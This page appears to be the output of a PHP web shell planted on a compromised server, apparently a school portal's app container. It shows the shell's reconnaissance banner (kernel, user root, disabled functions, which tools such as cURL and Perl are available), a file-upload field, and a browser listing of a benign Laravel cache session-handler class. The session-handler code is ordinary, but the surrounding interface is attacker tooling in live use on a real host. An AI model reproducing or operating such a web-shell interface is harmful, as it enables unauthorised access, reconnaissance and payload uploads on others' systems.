Server IP : / Your IP : 10.244.4.16 [ Web Server : nginx/1.25.3 System : Linux escuela-portal-app-54f56585bc-kst6g 5.15.0-1084-azure #93-Ubuntu SMP Sat Mar 15 14:12:29 UTC 2025 x86_64 User : root ( 0) PHP Version : 8.2.13 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals, Domains : 0 Domains MySQL : OFF | cURL : ON | WGET : OFF | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /proc/789/cwd/app/vendor/laravel/framework/src/Illuminate/Session/ |
Upload File : |
<?php namespace Illuminate\Session; use Illuminate\Contracts\Cache\Repository as CacheContract; use SessionHandlerInterface; class CacheBasedSessionHandler implements SessionHandlerInterface { /** * The cache repository instance. * * @var \Illuminate\Contracts\Cache\Repository */ protected $cache; /** * The number of minutes to store the data in the cache. * * @var int */ protected $minutes; /** * Create a new cache driven handler instance. * * @param \Illuminate\Contracts\Cache\Repository $cache * @param int $minutes * @return void */ public function __construct(CacheContract $cache, $minutes) { $this->cache = $cache; $this->minutes = $minutes; } /** * {@inheritdoc} * * @return bool */ public function open($savePath, $sessionName): bool { return true; } /** * {@inheritdoc} * * @return bool */ public function close(): bool { return true; } /** * {@inheritdoc} * * @return string */ public function read($sessionId): string { return $this->cache->get($sessionId, ''); } /** * {@inheritdoc} * * @return bool */ public function write($sessionId, $data): bool { return $this->cache->put($sessionId, $data, $this->minutes * 60); } /** * {@inheritdoc} * * @return bool */ public function destroy($sessionId): bool { return $this->cache->forget($sessionId); } /** * {@inheritdoc} * * @return int */ public function gc($lifetime): int { return 0; } /** * Get the underlying cache repository. * * @return \Illuminate\Contracts\Cache\Repository */ public function getCache() { return $this->cache; } }